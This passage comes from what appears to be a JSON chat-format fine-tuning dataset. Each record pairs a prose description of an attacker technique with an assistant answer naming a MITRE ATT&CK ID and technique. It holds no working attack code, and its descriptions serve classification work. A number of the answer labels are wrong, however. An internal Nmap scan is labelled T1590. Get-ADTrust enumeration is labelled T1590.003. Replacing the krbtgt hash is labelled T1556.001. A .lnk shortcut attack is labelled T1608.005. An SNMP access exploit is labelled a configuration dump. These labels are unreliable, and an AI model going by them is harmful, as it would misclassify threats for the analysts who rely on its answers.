                "content": "Adversaries exploit the Docker daemon's unauthenticated API to retrieve stored container registry credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls native APIs to enumerate CPU model, RAM size, and disk layout on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a script that gathers Google Workspace groups to map out access controls."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker updates the system's code signing policy to accept self‑signed certificates, facilitating execution of their payloads."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a DGA that combines the current Unix timestamp with a secret seed to produce a pool of domains, contacting the first one that resolves."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware targets the securityd daemon on iOS, dumping its memory to collect user passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject a DLL that intercepts and blocks termination signals, allowing their ransomware to continue running even when an admin attempts to kill it."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor established a persistent reverse shell over SSH to maintain access to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program reads the output of \"ipconfig /all\" and parses the IPv4 address assigned to the WAN interface."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a known vulnerability in the Windows kernel to gain SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering message urges a victim to download a fake software installer from a fake website, which then runs the malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilized the Google Cloud SDK to initiate a direct SSH tunnel into a Compute Engine instance, avoiding typical network segmentation controls."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the file permissions and sets the hidden flag on a DLL located in C:\\Windows\\System32 to conceal it from administrators."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores a payload in the $DATA ADS of an executable, making it invisible to standard file listings."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing Trojan disables the OS's built‑in Windows Security Center UI to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update manipulates the Trusted Platform Module (TPM) attestation, causing the system to trust compromised components."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is planted in a user-writable directory that is higher in the DLL search order, allowing the attacker to intercept and replace legitimate libraries when the application starts."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a network scan with SNMP probes to dump the target's configuration repository."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining SYSTEM access on a domain controller, the adversary reads the KRBTGT hash from memory and uses it to create an unrestricted Kerberos ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs a low-level wipe of the disk structure, erasing partition information and boot records."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a malicious macro in a Word document; the user enables macros, causing the embedded payload to execute."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a shared library used by a common service, causing the malicious code to run whenever the service starts."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace a legitimate .lnk file with one that points to a malicious script stored on a compromised FTP server, leading to execution when the shortcut is used."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a domain and uses a large number of proxy servers that change DNS entries every few minutes to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack was carried out by hijacking a CI/CD system and injecting a credential-stealing payload into the final product installer."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs to point to a custom DLL for event‑triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a script, the attacker pulls data from public MITRE CAPEC listings to identify potential attack patterns relevant to the target."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor replaces the domain controller's krbtgt account password hash to create golden tickets for any user."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell script spawned cmd.exe to perform system reconnaissance via 'dir' and 'whoami' commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using schtasks.exe, the intruder creates a task that launches wscript.exe with a malicious JScript payload whenever a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performed a broadcast on port 445 to enumerate Windows file shares across the corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries duplicate legitimate accounts and use them to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors access a subscription-only academic journal to retrieve articles about a target company's new product roadmap."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a technique where they launch a malicious executable and then reassign its parent process to explorer.exe, thereby masquerading within the process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the Odbcconf command-line tool, the threat actor installs a rogue ODBC driver to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deployed a compromised UEFI driver that corrupts the firmware flash memory, enabling them to maintain foothold across reboots."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs `repadmin /showattr * /attr:trustedDomain` to list trusted domain objects in AD."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing a compromised local admin password, the intruder accessed the endpoint and escalated privileges to run ransomware."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses Nmap to discover devices and map the network topology within the compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By capturing the authentication cookie from an active TeamViewer session, the attacker hijacks the remote control channel to take over the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker automates crawling of code hosting services to collect API tokens inadvertently committed."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code overwrites the original web browser binary on the victim's machine with a hijacked version."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies system scripts to automatically delete all backup snapshots after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware automatically replicates itself to removable media such as external hard drives and USB sticks when they are inserted."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan stores extracted password hashes in the registry path HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa for future credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses a cloud provider's free trial to spin up a temporary server for ransomware distribution."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email appearing to be from a reputable news outlet includes a link to a malicious article that exploits a browser zero‑day to execute arbitrary code on the victim's computer."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed the router's CLI and used the 'show running-config' command to export the entire configuration file."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group re-signs a backdoor with an expired but still trusted certificate to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform phishing to harvest the user's MFA token and then replay it to gain unauthorized access to the target account."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into running a malicious PowerShell command that reads Azure AD access tokens from the registry."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies its executable to the \\Windows\\System32\\AutoElevate.exe path and then triggers the auto-elevate COM object to gain administrative rights, effectively bypassing UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious executable to 'svchost.exe' to blend in with legitimate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the “bash” shell to execute a series of commands on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a phishing-resistant corporate email account via automated web registration to receive exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deployed ransomware that first established a botnet of compromised routers to relay command-and-control traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses ptrace to trace a process, replace its code segment, and execute malicious routines."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious version of a popular chat application that replaces the legitimate executable on victim machines, allowing credential theft."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using cmstp with a malicious configuration, the attacker bypassed user account control and executed code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JPEG is posted on a public forum; the image exploits a buffer overflow in the image parsing library, leading to user execution of a remote shellcode after the user views the image."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link is embedded in a personalized phishing message, leading the victim to a malicious PowerShell script download."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a WebDAV server to push harvested data using PUT requests, configuring the server to reject all incoming reads from the client."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before downloading additional modules, the trojan performs timing attacks on the CPU to detect virtualized execution."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages privileged rights to establish a bidirectional trust with a rogue domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses VDSO hooking to replace the gettimeofday function, redirecting execution flow to their payload."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest service account credentials from a compromised container and employ the associated access tokens to bypass multi-factor authentication and execute privileged commands."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script queries the LDAP directory for the maxPwdAge attribute to discover password expiration settings."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DNS tunneling as a means of command and control communication"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised vendor sends an email with a malicious PowerShell script attached, designed to steal authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performs a DNS cache poisoning attack on a public DNS resolver to affect users of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell's Get-ADTrust cmdlet to discover and record trust relationships between the compromised domain and partner domains."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan includes a routine that decodes hex‑encoded strings embedded within its binary resources."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain compromise occurs when threat actors hijack a third‑party tool used in the target's software build process, embedding malware that executes on installation."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm employs anti‑debugging by corrupting its own code if a debugger attempts to step through it."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a SNMP exploit to gain unauthorized access to a system through the Simple Network Management Protocol (SNMP)."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .vbs file is used to create a scheduled task that runs a PowerShell payload on system boot."
            },
            {
                "role": "assistant",
